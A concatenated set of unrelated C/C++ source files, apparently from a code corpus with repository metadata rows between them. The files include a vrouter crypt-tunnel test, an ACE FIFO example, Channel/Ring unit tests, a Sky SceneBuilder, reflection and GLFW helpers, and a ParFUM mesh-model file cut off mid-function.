WAIT_FOR(200, 100, (entry->GetVRToVRCrypt() == false));
// Change and check for encryption true
AddEncryptRemoteTunnelConfig(endpoints, num_endpoints, "all");
WAIT_FOR(2000, 100, (entry = agent->crypt_tunnel_table()->Find(endpoints[0].ip)) != NULL);
WAIT_FOR(200, 100, (entry->GetVRToVRCrypt() == true));
// Delete all entries
for (unsigned int id = 0; id < num_endpoints; id++) {
agent->crypt_tunnel_table()->Delete(endpoints[id].ip);
}
client->WaitForIdle();
// Wait for deletion of tunnel entries
//WAIT_FOR(2000, 100, agent->crypt_tunnel_table()->Size() == 0);
// Delete configuration
DeleteGlobalVrouterConfig();
}
int main(int argc, char **argv) {
GETUSERARGS();
client = TestInit(VNSW_CRYPT_CONFIG_FILE, ksync_init, false, false, false);
int ret = RUN_ALL_TESTS();
client->WaitForIdle();
usleep(10000);
TestShutdown();
delete client;
return ret;
}
| 29.028169 | 94 | 0.659631 | Dmitry-Eremeev |
d414ac5a9028e16ae6db5b92cd723cebf2ae1d19 | 2,973 | cpp | C++ | src/ace/ACE_wrappers/examples/IPC_SAP/FIFO_SAP/FIFO-test.cpp | wfnex/OpenBRAS | b8c2cd836ae85d5307f7f5ca87573b964342bb49 | [
"BSD-3-Clause"
] | 8 | 2017-06-05T08:56:27.000Z | 2020-04-08T16:50:11.000Z | src/ace/ACE_wrappers/examples/IPC_SAP/FIFO_SAP/FIFO-test.cpp | wfnex/OpenBRAS | b8c2cd836ae85d5307f7f5ca87573b964342bb49 | [
"BSD-3-Clause"
] | null | null | null | src/ace/ACE_wrappers/examples/IPC_SAP/FIFO_SAP/FIFO-test.cpp | wfnex/OpenBRAS | b8c2cd836ae85d5307f7f5ca87573b964342bb49 | [
"BSD-3-Clause"
] | 17 | 2017-06-05T08:54:27.000Z | 2021-08-29T14:19:12.000Z | // Purpose: This program uses ACE_FIFO wrappers to perform
// interprocess communication between a parent process and a child
// process. The parents reads from an input file and writes it into
// the fifo. The child reads from the ACE_FIFO and executes the more
// command.
#include "ace/FIFO_Recv.h"
#include "ace/FIFO_Send.h"
#include "ace/Log_Msg.h"
#include "ace/OS_NS_sys_wait.h"
#include "ace/OS_NS_unistd.h"
#include "ace/OS_NS_stdlib.h"
#include "ace/OS_NS_fcntl.h"
#define PERMS 0666
#define EXEC_NAME "more"
#define EXEC_COMMAND_ARG "more"
static const ACE_TCHAR *FIFO_NAME = ACE_TEXT ("/tmp/fifo");
static int
do_child (ACE_FIFO_Recv &fifo_reader)
{
// Set child's stdin to read from the fifo.
if (ACE_OS::close (ACE_STDIN) == -1
|| ACE_OS::dup (fifo_reader.get_handle ()) == ACE_INVALID_HANDLE)
return -1;
char *argv[2];
argv[0] = const_cast<char *> (EXEC_COMMAND_ARG);
argv[1] = 0;
if (ACE_OS::execvp (EXEC_NAME, argv) == -1)
return -1;
return 0;
}
static int
do_parent (const ACE_TCHAR fifo_name[],
ACE_TCHAR input_filename[])
{
ACE_FIFO_Send fifo_sender (fifo_name, O_WRONLY | O_CREAT);
ssize_t len;
char buf[BUFSIZ];
if (fifo_sender.get_handle () == ACE_INVALID_HANDLE)
return -1;
ACE_HANDLE inputfd =
ACE_OS::open (input_filename, O_RDONLY);
if (inputfd == ACE_INVALID_HANDLE)
return -1;
// Read from input file and write into input end of the fifo.
while ((len = ACE_OS::read (inputfd, buf, sizeof buf)) > 0)
if (fifo_sender.send (buf, len) != len)
return -1;
if (len == -1)
return -1;
if (fifo_sender.remove () == -1)
return -1;
return 0;
}
int
ACE_TMAIN (int argc, ACE_TCHAR *argv[])
{
ACE_LOG_MSG->open (argv[0]);
if (argc != 2)
{
ACE_ERROR ((LM_ERROR,
ACE_TEXT ("usage: %n input-file\n"),
1));
ACE_OS::exit (1);
}
ACE_FIFO_Recv fifo_reader (FIFO_NAME, O_RDONLY | O_CREAT, PERMS, 0);
if (fifo_reader.get_handle () == ACE_INVALID_HANDLE)
return -1;
pid_t child_pid = ACE_OS::fork ();
switch (child_pid)
{
case -1:
ACE_ERROR ((LM_ERROR,
ACE_TEXT ("%n: %p\n%a"),
ACE_TEXT ("fork"),
1));
case 0:
if (do_child (fifo_reader) == -1)
ACE_ERROR ((LM_ERROR,
ACE_TEXT ("%n: %p\n%a"),
ACE_TEXT ("do_child"),
1));
default:
if (do_parent (FIFO_NAME, argv[1]) == -1)
ACE_ERROR ((LM_ERROR,
ACE_TEXT ("%n: %p\n%a"),
ACE_TEXT ("do_parent"),
1));
// wait for child to ACE_OS::exit.
if (ACE_OS::waitpid (child_pid, (ACE_exitcode *) 0, 0) == -1)
ACE_ERROR ((LM_ERROR,
ACE_TEXT ("%n: %p\n%a"),
ACE_TEXT ("waitpid"),
1));
}
return 0;
}
| 24.570248 | 71 | 0.57484 | wfnex |
d415c93e4991a714c0ebd646ce3e9a242627094b | 6,608 | cpp | C++ | tests/channel.cpp | initcrash/fnpp | 34e633ba6ec0fe0024f7457369040ce1e7919f5a | [
"MIT"
] | 3 | 2015-05-06T20:34:43.000Z | 2016-10-27T13:30:33.000Z | tests/channel.cpp | initcrash/fnpp | 34e633ba6ec0fe0024f7457369040ce1e7919f5a | [
"MIT"
] | null | null | null | tests/channel.cpp | initcrash/fnpp | 34e633ba6ec0fe0024f7457369040ce1e7919f5a | [
"MIT"
] | null | null | null | #include <cstdio>
#include <vector>
#include <map>
#include <utility>
#include <thread>
#include "catch.hpp"
#include <fn/iterators.hpp>
#include <fn/channel.hpp>
using namespace fn;
TEST_CASE("Channel [int]")
{
auto channel = Channel<int>(3);
REQUIRE_FALSE(channel.receive(0).valid());
SECTION("send one message")
{
channel.send(123);
CHECK(123 == ~channel.receive(0));
REQUIRE_FALSE(channel.receive(0).valid());
}
SECTION("send two messages")
{
CHECK(channel.send(123));
CHECK(channel.send(124));
CHECK(123 == ~channel.receive(0));
CHECK(124 == ~channel.receive(0));
CHECK_FALSE(channel.receive(0).valid());
}
SECTION("send more messages than fit")
{
CHECK(channel.send(123));
CHECK(channel.send(124));
CHECK(channel.send(125));
CHECK_FALSE(channel.send(126));
CHECK(123 == ~channel.receive(0));
CHECK(124 == ~channel.receive(0));
CHECK(125 == ~channel.receive(0));
CHECK_FALSE(channel.receive(0).valid());
}
SECTION("copy sender")
{
auto send = channel.send;
CHECK(channel.send(2));
CHECK(send(1));
CHECK(2 == ~channel.receive(0));
CHECK(1 == ~channel.receive(0));
CHECK_FALSE(channel.receive(0).valid());
}
SECTION("move receiver, then send")
{
auto receive = std::move(channel.receive);
CHECK(channel.send(1));
CHECK_FALSE(channel.receive(0).valid());
CHECK(1 == ~receive(0));
CHECK_FALSE(receive(0).valid());
}
SECTION("send, then move receiver")
{
CHECK(channel.send(1));
auto receive = std::move(channel.receive);
CHECK_FALSE(channel.receive(0).valid());
CHECK(1 == ~receive(0));
CHECK_FALSE(receive(0).valid());
}
SECTION("remove elements")
{
CHECK(channel.send(1));
CHECK(channel.send(2));
CHECK(channel.send(3));
channel.receive.remove_if([](int const& i) -> bool {
return i % 2;
});
CHECK(2 == ~channel.receive(0));
CHECK_FALSE(channel.receive(0).valid());
}
SECTION("send one message to thread, receive gets called after send")
{
auto thread = std::thread([&]{
CHECK(123 == ~channel.receive(10000));
});
std::this_thread::sleep_for(std::chrono::milliseconds(100));
channel.send(123);
thread.join();
}
SECTION("send one message to thread, receive gets called before send")
{
auto thread = std::thread([&]{
std::this_thread::sleep_for(std::chrono::milliseconds(100));
CHECK(123 == ~channel.receive(10000));
});
channel.send(123);
thread.join();
}
}
TEST_CASE("Channel [unique_ptr]")
{
auto channel = Channel<std::unique_ptr<int>>(3);
REQUIRE_FALSE(channel.receive(0).valid());
SECTION("send one message")
{
auto up = std::unique_ptr<int>(new int);
*up = 1234;
channel.send(std::move(up));
CHECK(nullptr == up);
auto r = channel.receive(0);
CHECK(r.valid());
r >>[&](std::unique_ptr<int>& i){
REQUIRE(i != nullptr);
CHECK(1234 == *i);
};
REQUIRE_FALSE(channel.receive(0).valid());
}
SECTION("move receiver, then send")
{
auto receive = std::move(channel.receive);
CHECK(channel.send(std::unique_ptr<int>(new int(1))));
CHECK_FALSE(channel.receive(0).valid());
CHECK(receive(0).valid());
CHECK_FALSE(receive(0).valid());
}
SECTION("send, then move receiver")
{
CHECK(channel.send(std::unique_ptr<int>(new int(1))));
auto receive = std::move(channel.receive);
CHECK_FALSE(channel.receive(0).valid());
CHECK(receive(0).valid());
CHECK_FALSE(receive(0).valid());
}
}
TEST_CASE("Ring")
{
auto queue = fn_::Ring<int>::create(3);
CHECK_FALSE(queue->pop());
CHECK(queue->empty());
SECTION("push once")
{
new (queue->push()) int(7);
CHECK_FALSE(queue->empty());
CHECK(7 == *queue->pop());
CHECK_FALSE(queue->pop());
}
SECTION("push twice")
{
new (queue->push()) int(6);
CHECK_FALSE(queue->empty());
new (queue->push()) int(8);
CHECK_FALSE(queue->empty());
CHECK(6 == *queue->pop());
CHECK_FALSE(queue->empty());
CHECK(8 == *queue->pop());
CHECK(queue->empty());
}
SECTION("push twice, twice")
{
new (queue->push()) int(6);
new (queue->push()) int(8);
CHECK(6 == *queue->pop());
CHECK(8 == *queue->pop());
new (queue->push()) int(2);
new (queue->push()) int(3);
CHECK(2 == *queue->pop());
CHECK(3 == *queue->pop());
}
SECTION("overflow")
{
new (queue->push()) int(1);
new (queue->push()) int(2);
new (queue->push()) int(3);
CHECK_FALSE(queue->push());
CHECK_FALSE(queue->push());
CHECK_FALSE(queue->push());
CHECK(1 == *queue->pop());
CHECK(2 == *queue->pop());
CHECK(3 == *queue->pop());
CHECK(queue->empty());
}
};
struct M {
int value;
static int counter;
M(int value): value(value) { ++counter; }
~M() { --counter; }
M(M const&) = delete;
M(M&& m): value(m.value) { ++counter; }
};
int M::counter = 0;
TEST_CASE("Ring remove_if")
{
M::counter = 0;
auto queue = fn_::Ring<M>::create(5);
CHECK(queue->empty());
CHECK(0 == M::counter);
new (queue->push()) M(1);
new (queue->push()) M(2);
new (queue->push()) M(3);
new (queue->push()) M(4);
CHECK(4 == M::counter);
SECTION("remove none")
{
queue->remove_if([](M const&) -> bool { return false; });
CHECK(1 == queue->pop()->value);
CHECK(2 == queue->pop()->value);
CHECK(3 == queue->pop()->value);
CHECK(4 == queue->pop()->value);
CHECK(queue->empty());
CHECK(4 == M::counter);
}
SECTION("remove all")
{
queue->remove_if([](M const&) -> bool { return true; });
CHECK(queue->empty());
CHECK(0 == M::counter);
}
SECTION("remove uneven")
{
queue->remove_if([](M const& x) -> bool { return x.value % 2; });
CHECK(2 == queue->pop()->value);
CHECK(4 == queue->pop()->value);
CHECK(queue->empty());
CHECK(2 == M::counter);
}
}
| 23.855596 | 74 | 0.52618 | initcrash |
d41b9b7798acef37fa2655db3d5dd58c786e999f | 3,781 | cpp | C++ | sky/engine/core/compositing/SceneBuilder.cpp | gitFreeByte/sky_engine | 05c9048930f8a0d39c2f6385ba691eccbbdabb20 | [
"BSD-3-Clause"
] | 1 | 2021-06-12T00:47:11.000Z | 2021-06-12T00:47:11.000Z | sky/engine/core/compositing/SceneBuilder.cpp | gitFreeByte/sky_engine | 05c9048930f8a0d39c2f6385ba691eccbbdabb20 | [
"BSD-3-Clause"
] | null | null | null | sky/engine/core/compositing/SceneBuilder.cpp | gitFreeByte/sky_engine | 05c9048930f8a0d39c2f6385ba691eccbbdabb20 | [
"BSD-3-Clause"
] | null | null | null | // Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "sky/engine/core/compositing/SceneBuilder.h"
#include "sky/engine/core/painting/Matrix.h"
#include "third_party/skia/include/core/SkColorFilter.h"
#include "sky/compositor/transform_layer.h"
#include "sky/compositor/clip_path_layer.h"
#include "sky/compositor/clip_rect_layer.h"
#include "sky/compositor/clip_rrect_layer.h"
#include "sky/compositor/color_filter_layer.h"
#include "sky/compositor/container_layer.h"
#include "sky/compositor/opacity_layer.h"
#include "sky/compositor/picture_layer.h"
namespace blink {
SceneBuilder::SceneBuilder(const Rect& bounds)
: m_rootPaintBounds(bounds.sk_rect)
, m_currentLayer(nullptr)
{
}
SceneBuilder::~SceneBuilder()
{
}
void SceneBuilder::pushTransform(const Float32List& matrix4, ExceptionState& es)
{
SkMatrix sk_matrix = toSkMatrix(matrix4, es);
if (es.had_exception())
return;
std::unique_ptr<sky::compositor::TransformLayer> layer(new sky::compositor::TransformLayer());
layer->set_transform(sk_matrix);
addLayer(std::move(layer));
}
void SceneBuilder::pushClipRect(const Rect& rect)
{
std::unique_ptr<sky::compositor::ClipRectLayer> layer(new sky::compositor::ClipRectLayer());
layer->set_clip_rect(rect.sk_rect);
addLayer(std::move(layer));
}
void SceneBuilder::pushClipRRect(const RRect* rrect, const Rect& bounds)
{
std::unique_ptr<sky::compositor::ClipRRectLayer> layer(new sky::compositor::ClipRRectLayer());
layer->set_clip_rrect(rrect->rrect());
addLayer(std::move(layer));
}
void SceneBuilder::pushClipPath(const CanvasPath* path, const Rect& bounds)
{
std::unique_ptr<sky::compositor::ClipPathLayer> layer(new sky::compositor::ClipPathLayer());
layer->set_clip_path(path->path());
addLayer(std::move(layer));
}
void SceneBuilder::pushOpacity(int alpha, const Rect& bounds)
{
std::unique_ptr<sky::compositor::OpacityLayer> layer(new sky::compositor::OpacityLayer());
layer->set_paint_bounds(bounds.sk_rect);
layer->set_alpha(alpha);
addLayer(std::move(layer));
}
void SceneBuilder::pushColorFilter(SkColor color, SkXfermode::Mode transferMode, const Rect& bounds)
{
std::unique_ptr<sky::compositor::ColorFilterLayer> layer(new sky::compositor::ColorFilterLayer());
layer->set_paint_bounds(bounds.sk_rect);
layer->set_color(color);
layer->set_transfer_mode(transferMode);
addLayer(std::move(layer));
}
void SceneBuilder::addLayer(std::unique_ptr<sky::compositor::ContainerLayer> layer)
{
DCHECK(layer);
if (!m_rootLayer) {
DCHECK(!m_currentLayer);
m_rootLayer = std::move(layer);
m_rootLayer->set_paint_bounds(m_rootPaintBounds);
m_currentLayer = m_rootLayer.get();
return;
}
if (!m_currentLayer)
return;
sky::compositor::ContainerLayer* newLayer = layer.get();
m_currentLayer->Add(std::move(layer));
m_currentLayer = newLayer;
}
void SceneBuilder::pop()
{
if (!m_currentLayer)
return;
m_currentLayer = m_currentLayer->parent();
}
void SceneBuilder::addPicture(const Offset& offset, Picture* picture, const Rect& paintBounds)
{
if (!m_currentLayer)
return;
std::unique_ptr<sky::compositor::PictureLayer> layer(new sky::compositor::PictureLayer());
layer->set_offset(SkPoint::Make(offset.sk_size.width(), offset.sk_size.height()));
layer->set_picture(picture->toSkia());
layer->set_paint_bounds(paintBounds.sk_rect);
m_currentLayer->Add(std::move(layer));
}
PassRefPtr<Scene> SceneBuilder::build()
{
m_currentLayer = nullptr;
return Scene::create(std::move(m_rootLayer));
}
} // namespace blink
| 31.508333 | 102 | 0.725734 | gitFreeByte |
d420416b0f41711b6368aa8d8b311f6f1ecf6913 | 783 | cc | C++ | source/options.cc | JaMo42/spaceinfo | 534d69d61930a858b3880ac10fc693edbe792f4e | [
"BSD-3-Clause"
] | null | null | null | source/options.cc | JaMo42/spaceinfo | 534d69d61930a858b3880ac10fc693edbe792f4e | [
"BSD-3-Clause"
] | null | null | null | source/options.cc | JaMo42/spaceinfo | 534d69d61930a858b3880ac10fc693edbe792f4e | [
"BSD-3-Clause"
] | null | null | null | #include "options.hh"
#include "flag-cpp/flag.hh"
namespace Options
{
bool si = false;
bool raw_size = false;
int bar_length = 10;
unsigned history_size = 16;
}
const char *
parse_args (int argc, const char *const *argv)
{
flag::add (Options::si, "si",
"Use powers of 1000 not 1024 for human readable sizes.");
flag::add (Options::raw_size, "r", "Do not print human readable sizes.");
flag::add (Options::bar_length, "bar-length", "Length for the relative size bar.");
flag::add (Options::history_size, "hist-len", "Maximum length of search/go-to history.");
flag::add_help ();
std::vector<const char *> args = flag::parse (argc, argv);
if (Options::history_size == 0)
Options::history_size = 1;
return args.empty () ? nullptr : args.front ();
}
| 27.964286 | 91 | 0.666667 | JaMo42 |
d4207c0ef66cb65f8756179c9b37797ff1df8913 | 729 | cpp | C++ | Source/Parser/LanguageTypes/Invokable.cpp | JoinCAD/CPP-Reflection | 61163369b6b3b370c4ce726dbf8e60e441723821 | [
"MIT"
] | 540 | 2015-09-18T09:44:57.000Z | 2022-03-25T07:23:09.000Z | Source/Parser/LanguageTypes/Invokable.cpp | yangzhengxing/CPP-Reflection | 43ec755b7a5c62e3252c174815c2e44727e11e72 | [
"MIT"
] | 16 | 2015-09-23T06:37:43.000Z | 2020-04-10T15:40:08.000Z | Source/Parser/LanguageTypes/Invokable.cpp | yangzhengxing/CPP-Reflection | 43ec755b7a5c62e3252c174815c2e44727e11e72 | [
"MIT"
] | 88 | 2015-09-21T15:12:32.000Z | 2021-11-30T14:07:34.000Z | /* ----------------------------------------------------------------------------
** Copyright (c) 2016 Austin Brunkhorst, All Rights Reserved.
**
** Invokable.cpp
** --------------------------------------------------------------------------*/
#include "Precompiled.h"
#include "LanguageTypes/Invokable.h"
Invokable::Invokable(const Cursor &cursor)
: m_returnType( utils::GetQualifiedName( cursor.GetReturnType( ) ))
{
auto type = cursor.GetType( );
unsigned count = type.GetArgumentCount( );
m_signature.clear( );
for (unsigned i = 0; i < count; ++i)
{
auto argument = type.GetArgument( i );
m_signature.emplace_back(
utils::GetQualifiedName( argument )
);
}
} | 27 | 79 | 0.500686 | JoinCAD |
d4269f5f60e3ac334285c2efa78f5c9b0ba56924 | 730 | cpp | C++ | Libs/MainWindow/glfwLibrary.cpp | dns/Cafu | 77b34014cc7493d6015db7d674439fe8c23f6493 | [
"MIT"
] | 3 | 2020-04-11T13:00:31.000Z | 2020-12-07T03:19:10.000Z | Libs/MainWindow/glfwLibrary.cpp | DNS/Cafu | 77b34014cc7493d6015db7d674439fe8c23f6493 | [
"MIT"
] | null | null | null | Libs/MainWindow/glfwLibrary.cpp | DNS/Cafu | 77b34014cc7493d6015db7d674439fe8c23f6493 | [
"MIT"
] | 1 | 2020-04-11T13:00:04.000Z | 2020-04-11T13:00:04.000Z | /*
Cafu Engine, http://www.cafu.de/
Copyright (c) Carsten Fuchs and other contributors.
This project is licensed under the terms of the MIT license.
*/
#include "glfwLibrary.hpp"
#include "ConsoleCommands/Console.hpp"
#include "GLFW/glfw3.h"
#include <stdexcept>
using namespace cf;
static void error_callback(int error, const char* description)
{
// fprintf(stderr, "GLFW Error: %s\n", description);
Console->Print("GLFW Error: ");
Console->Print(description);
Console->Print("\n");
}
glfwLibraryT::glfwLibraryT()
{
glfwSetErrorCallback(error_callback);
if (!glfwInit())
throw std::runtime_error("GLFW could not be initialized.");
}
glfwLibraryT::~glfwLibraryT()
{
glfwTerminate();
}
| 19.72973 | 67 | 0.7 | dns |
d42b299286fa86f457b858ee8a7f5e9b3cdfab31 | 532 | cpp | C++ | Codechef/Compete/Long Challenge/December Challenge 2020/Vaccine Distribution.cpp | mohitkhedkar/Competitive-programming | 85d08791002363c6a1104b6b51bf049489fd5257 | [
"MIT"
] | 2 | 2020-10-22T15:37:14.000Z | 2020-12-11T06:45:02.000Z | Codechef/Compete/Long Challenge/December Challenge 2020/Vaccine Distribution.cpp | mohitkhedkar/Competitive-programming | 85d08791002363c6a1104b6b51bf049489fd5257 | [
"MIT"
] | null | null | null | Codechef/Compete/Long Challenge/December Challenge 2020/Vaccine Distribution.cpp | mohitkhedkar/Competitive-programming | 85d08791002363c6a1104b6b51bf049489fd5257 | [
"MIT"
] | null | null | null | #include<bits/stdc++.h>
using namespace std;
int main() {
// your code goes here
int t;
cin>>t;
while(t--) {
int n,d;
cin>>n>>d;
int a[n];
for(int i=1;i<=n;i++) {
cin>>a[i];
}
int risk=0,not_risk=0;
for(int i=1;i<=n;i++) {
if(a[i]>=80 || a[i]<=9){
risk++;
} else {
not_risk++;
}
}
int ans;
ans = ceil((double)risk/(double)d) + ceil((double)not_risk/(double)d);
cout<<ans<<endl;
}
return 0;
}
| 16.121212 | 75 | 0.426692 | mohitkhedkar |
d42d07c26490dd22e48d97e09597a120bbe7ebfe | 45,473 | cc | C++ | NAMD_2.12_Source/charm-6.7.1/src/libs/ck-libs/ParFUM-Iterators/ParFUM_Iterators.cc | scottkwarren/config-db | fb5c3da2465e5cff0ad30950493b11d452bd686b | [
"MIT"
] | 1 | 2019-01-17T20:07:23.000Z | 2019-01-17T20:07:23.000Z | NAMD_2.12_Source/charm-6.7.1/src/libs/ck-libs/ParFUM-Iterators/ParFUM_Iterators.cc | scottkwarren/config-db | fb5c3da2465e5cff0ad30950493b11d452bd686b | [
"MIT"
] | null | null | null | NAMD_2.12_Source/charm-6.7.1/src/libs/ck-libs/ParFUM-Iterators/ParFUM_Iterators.cc | scottkwarren/config-db | fb5c3da2465e5cff0ad30950493b11d452bd686b | [
"MIT"
] | null | null | null | /**
@file
@brief Implementation of the non-iterator parts of the ParFUM-Iterators layer
@author Isaac Dooley
@author Aaron Becker
@todo add code to generate ghost layers
@todo Support multiple models
@todo Specify element types to be used via input vector in meshModel_Create
*/
#include "ParFUM_Iterators.h"
#include "ParFUM_Iterators.decl.h"
#include "ParFUM.h"
#include "ParFUM_internals.h"
#ifdef CUDA
#include <cuda.h>
#include <cuda_runtime.h>
#endif
#include <stack>
#include <sstream>
#include <iostream>
#undef DEBUG
#define DEBUG 0
int tetFaces[] = {0,1,3, 0,2,1, 1,2,3, 0,3,2};
int cohFaces[] = {0,1,2, 3,4,5};
int lib_FP_Type_Size()
{
static const int LIB_FP_TYPE_SIZE = sizeof(FP_TYPE);
return LIB_FP_TYPE_SIZE;
}
void mesh_set_device(MeshModel* m, MeshDevice d)
{
m->target_device = d;
#if CUDA
if(d == DeviceGPU){
CkAssert(m->allocatedForCUDADevice);
}
#endif
}
MeshDevice mesh_target_device(MeshModel* m)
{
return m->target_device;
}
void fillIDHash(MeshModel* model)
{
if(model->nodeIDHash == NULL)
model->nodeIDHash = new CkHashtableT<CkHashtableAdaptorT<int>, int>;
if(model->elemIDHash == NULL)
model->elemIDHash = new CkHashtableT<CkHashtableAdaptorT<int>, int>;
for(int i=0; i<model->node_id_T->size(); ++i){
model->nodeIDHash->put((*model->node_id_T)(i,0)) = i+1;
}
for(int i=0; i<model->elem_id_T->size(); ++i){
model->elemIDHash->put((*model->elem_id_T)(i,0)) = i+1;
}
}
// Set the pointers in the model to point to the data stored by the ParFUM framework.
// If the number of nodes or elements increases, then this function should be called
// because the attribute arrays may have been resized, after which the old pointers
// would be invalid.
void setTableReferences(MeshModel* model, bool recomputeHash)
{
model->ElemConn_T = &((FEM_IndexAttribute*)model->mesh->elem[MESH_ELEMENT_TET4].lookup(FEM_CONN,""))->get();
model->elem_id_T = &((FEM_DataAttribute*)model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_ID,""))->getInt();
model->n2eConn_T = &((FEM_DataAttribute*)model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_N2E_CONN, ""))->getInt();
model->node_id_T = &((FEM_DataAttribute*)model->mesh->node.lookup(ATT_NODE_ID,""))->getInt();
#ifdef FP_TYPE_FLOAT
model->coord_T = &((FEM_DataAttribute*)model->mesh->node.lookup(ATT_NODE_COORD, ""))->getFloat();
#else
model->coord_T = &((FEM_DataAttribute*)model->mesh->node.lookup(ATT_NODE_COORD, ""))->getDouble();
#endif
model->ElemData_T = &((FEM_DataAttribute*)model->mesh->elem[MESH_ELEMENT_TET4].lookup(ATT_ELEM_DATA,""))->getChar();
FEM_Entity* ghost = model->mesh->elem[MESH_ELEMENT_TET4].getGhost();
if (ghost) {
model->GhostElemData_T = &((FEM_DataAttribute*)ghost->lookup(ATT_ELEM_DATA,""))->getChar();
}
model->NodeData_T = &((FEM_DataAttribute*)model->mesh->node.lookup(ATT_NODE_DATA,""))->getChar();
ghost = model->mesh->node.getGhost();
if (ghost) {
model->GhostNodeData_T = &((FEM_DataAttribute*)ghost->lookup(ATT_NODE_DATA,""))->getChar();
}
if(model->nodeIDHash == NULL) {
model->nodeIDHash = new CkHashtableT<CkHashtableAdaptorT<int>, int>;
}
if(model->elemIDHash == NULL) {
model->elemIDHash = new CkHashtableT<CkHashtableAdaptorT<int>, int>;
}
if(recomputeHash) {
fillIDHash(model);
}
}
/** Create a model before partitioning. Given the number of nodes per element.
After this call, the node data and element data CANNOT be set. They can only
be set in the driver. If the user tries to set the attribute values, the
call will be ignored.
*/
MeshModel* meshModel_Create_Init(){
MeshModel* model = new MeshModel;
memset((void*) model, 0, sizeof(MeshModel));
model->nodeIDHash = new CkHashtableT<CkHashtableAdaptorT<int>, int>;
model->elemIDHash = new CkHashtableT<CkHashtableAdaptorT<int>, int>;
// This only uses a single mesh
int which_mesh=FEM_Mesh_default_write();
model->mesh = FEM_Mesh_lookup(which_mesh,"meshModel_Create_Init");
/** @note Here we allocate the arrays with a single
initial node and element, which are set as
invalid. If no initial elements were provided.
the AllocTable2d's would not ever get allocated,
and insertNode or insertElement would fail.
*/
char temp_array[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
// Allocate node id array
FEM_Mesh_data(which_mesh,FEM_NODE,ATT_NODE_ID,temp_array, 0, 1, FEM_INT, 1);
// Allocate node coords
#ifdef FP_TYPE_FLOAT
FEM_Mesh_data(which_mesh,FEM_NODE,ATT_NODE_COORD,temp_array, 0, 1, FEM_FLOAT, 3);
#else
FEM_Mesh_data(which_mesh,FEM_NODE,ATT_NODE_COORD,temp_array, 0, 1, FEM_DOUBLE, 3);
#endif
FEM_Mesh_data(which_mesh,FEM_NODE,FEM_COORD,temp_array, 0, 1, FEM_DOUBLE, 3); // Needed for shared node regeneration
// Don't allocate the ATT_NODE_DATA array because it will be large
// Allocate element connectivity
FEM_Mesh_data(which_mesh,FEM_ELEM+MESH_ELEMENT_TET4,FEM_CONN,temp_array, 0, 1, FEM_INDEX_0, 4);
FEM_Mesh_data(which_mesh,FEM_ELEM+MESH_ELEMENT_COH3T3,FEM_CONN,temp_array, 0, 1, FEM_INDEX_0, 6);
// Allocate element id array
FEM_Mesh_data(which_mesh,FEM_ELEM+MESH_ELEMENT_TET4,ATT_ELEM_ID,temp_array, 0, 1, FEM_INT, 1);
FEM_Mesh_data(which_mesh,FEM_ELEM+MESH_ELEMENT_COH3T3,ATT_ELEM_ID,temp_array, 0, 1, FEM_INT, 1);
// Don't allocate the ATT_ELEM_DATA array because it will be large
FEM_Mesh_allocate_valid_attr(which_mesh, FEM_NODE);
FEM_Mesh_allocate_valid_attr(which_mesh, FEM_ELEM+MESH_ELEMENT_TET4);
FEM_Mesh_allocate_valid_attr(which_mesh, FEM_ELEM+MESH_ELEMENT_COH3T3);
FEM_set_entity_invalid(which_mesh, FEM_NODE, 0);
FEM_set_entity_invalid(which_mesh, FEM_ELEM+MESH_ELEMENT_TET4, 0);
FEM_set_entity_invalid(which_mesh, FEM_ELEM+MESH_ELEMENT_COH3T3, 0);
// Setup the adjacency lists
setTableReferences(model, true);
return model;
}
/** Get the mesh for use in the driver. It will be partitioned already.
In the driver routine, after getting the model from this function,
the input data file should be reread to fill in the node and element
data values which were not done in init.
*/
void meshModel_Create_Driver(MeshDevice target_device, int elem_attr_sz,
int node_attr_sz, int model_attr_sz, void *mAtt, MeshModel &model) {
CkAssert(ATT_NODE_ID != FEM_COORD);
CkAssert(ATT_NODE_DATA != FEM_COORD);
int partition = FEM_My_partition();
if(haveConfigurableCPUGPUMap()){
if(isPartitionCPU(partition))
CkPrintf("partition %d is on CPU\n", partition);
else
CkPrintf("partition %d is on GPU\n", partition);
}
// This only uses a single mesh, so don't create multiple MeshModels of these
CkAssert(elem_attr_sz > 0);
CkAssert(node_attr_sz > 0);
int which_mesh=FEM_Mesh_default_read();
memset((void *) &model, 0, sizeof(MeshModel));
model.target_device = target_device;
model.elem_attr_size = elem_attr_sz;
model.node_attr_size = node_attr_sz;
model.model_attr_size = model_attr_sz;
model.mesh = FEM_Mesh_lookup(which_mesh,"meshModel_Create_Driver");
model.mAtt = mAtt;
model.num_local_elem = model.mesh->elem[MESH_ELEMENT_TET4].size();
model.num_local_node = model.mesh->node.size();
// Allocate user model attributes
FEM_Mesh_become_set(which_mesh);
char* temp_array = (char*) malloc(model.num_local_elem * model.elem_attr_size);
FEM_Mesh_data(which_mesh,FEM_ELEM+MESH_ELEMENT_TET4,ATT_ELEM_DATA,temp_array,0,model.num_local_elem,FEM_BYTE,model.elem_attr_size);
free(temp_array);
temp_array = (char*) malloc(model.num_local_node * model.node_attr_size);
FEM_Mesh_data(which_mesh,FEM_NODE,ATT_NODE_DATA,temp_array,0,model.num_local_node,FEM_BYTE,model.node_attr_size);
free(temp_array);
const int connSize = model.mesh->elem[MESH_ELEMENT_TET4].getConn().width();
temp_array = (char*) malloc(model.num_local_node * connSize);
FEM_Mesh_data(which_mesh,FEM_ELEM+MESH_ELEMENT_TET4,ATT_ELEM_N2E_CONN,temp_array, 0, 1, FEM_INT, connSize);
free(temp_array);
setTableReferences(&model, true);
// Setup the adjacencies
int nodesPerTuple = 3;
int tuplesPerTet = 4;
int tuplesPerCoh = 2;
FEM_Add_elem2face_tuples(which_mesh, MESH_ELEMENT_TET4, nodesPerTuple, tuplesPerTet, tetFaces);
FEM_Add_elem2face_tuples(which_mesh, MESH_ELEMENT_COH3T3, nodesPerTuple, tuplesPerCoh, cohFaces);
model.mesh->createNodeElemAdj();
model.mesh->createNodeNodeAdj();
model.mesh->createElemElemAdj();
#if CUDA
int* n2eTable;
/** Create n2e connectivity array and copy to device global memory */
FEM_Mesh_create_node_elem_adjacency(which_mesh);
